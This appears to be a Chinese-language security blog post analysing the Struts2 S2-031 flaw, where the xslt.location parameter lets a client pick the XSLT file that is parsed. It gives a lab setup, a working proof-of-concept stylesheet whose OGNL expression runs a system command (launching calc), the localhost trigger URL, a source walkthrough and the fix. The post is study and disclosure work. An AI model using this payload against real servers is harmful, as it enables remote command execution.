struts2系列漏洞 S2-031

前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

前面那些都是个什么东西……


环境搭建

2.3.15.1 版本的 struts2 + Tomcat 9。

修改 struts.xml,加上 xslt 解析:

1
2
3
<result name="success" type="xslt">
<param name="stylesheetLocation">/</param>
</result>

stylesheetLocation 的值随意。

漏洞利用

在 web目录(webapp)下新建一个 upload 目录,存放用于攻击的文件,文件名随意:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0" xmlns:ognl="ognl.Ognl">
<xsl:template match="/">
<html>
<body>
<h2>hacked by kxlzx</h2>
<h2>http://www.inbreak.net</h2>
<exp>
<xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec(&quot;calc&quot;)', '')"/>
</exp>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

然后访问:

1
http://localhost:8080/login.action?xslt.location=/upload/poc.Twings

即可命令执行。

漏洞分析

看起来就是个类似 XXE 的漏洞,struts2 解析了 XML 文件,然后解析标签属性的时候执行了里面的 OGNL 表达式。这个漏洞的主要问题就在于文件路径可以被用户控制,调试 XSLTResult 类,可以看到:

1
2
3
4
5
6
String location = getStylesheetLocation();
...
if (location != null) {
templates = getTemplates(location);
transformer = templates.newTransformer();
}

文件路径本来来自配置文件,但是在其不为空的情况下,会调用 getTemplates 函数:

1
2
3
4
5
6
7
8
protected Templates getTemplates(String path) throws TransformerException, IOException {
String pathFromRequest = ServletActionContext.getRequest().getParameter("xslt.location");

if (pathFromRequest != null)
path = pathFromRequest;

...
}

可以看到,客户端可以通过提交一个 xslt.location 参数直接控制要解析的 XML 文件路径。

漏洞修复

2.3.28.1 版本的修复,删掉了 getTemplates 函数中获取 xslt.location 参数的代码。


参考文章:

https://yanbin.blog/struts2-xsltresult-details/

http://itindex.net/detail/38232-struts2-%E6%A1%86%E6%9E%B6-xsltresult


struts2系列漏洞 S2-031
http://yoursite.com/2020/07/27/struts2系列漏洞-S2-031/
作者
Aluvion
发布于
2020年7月27日
许可协议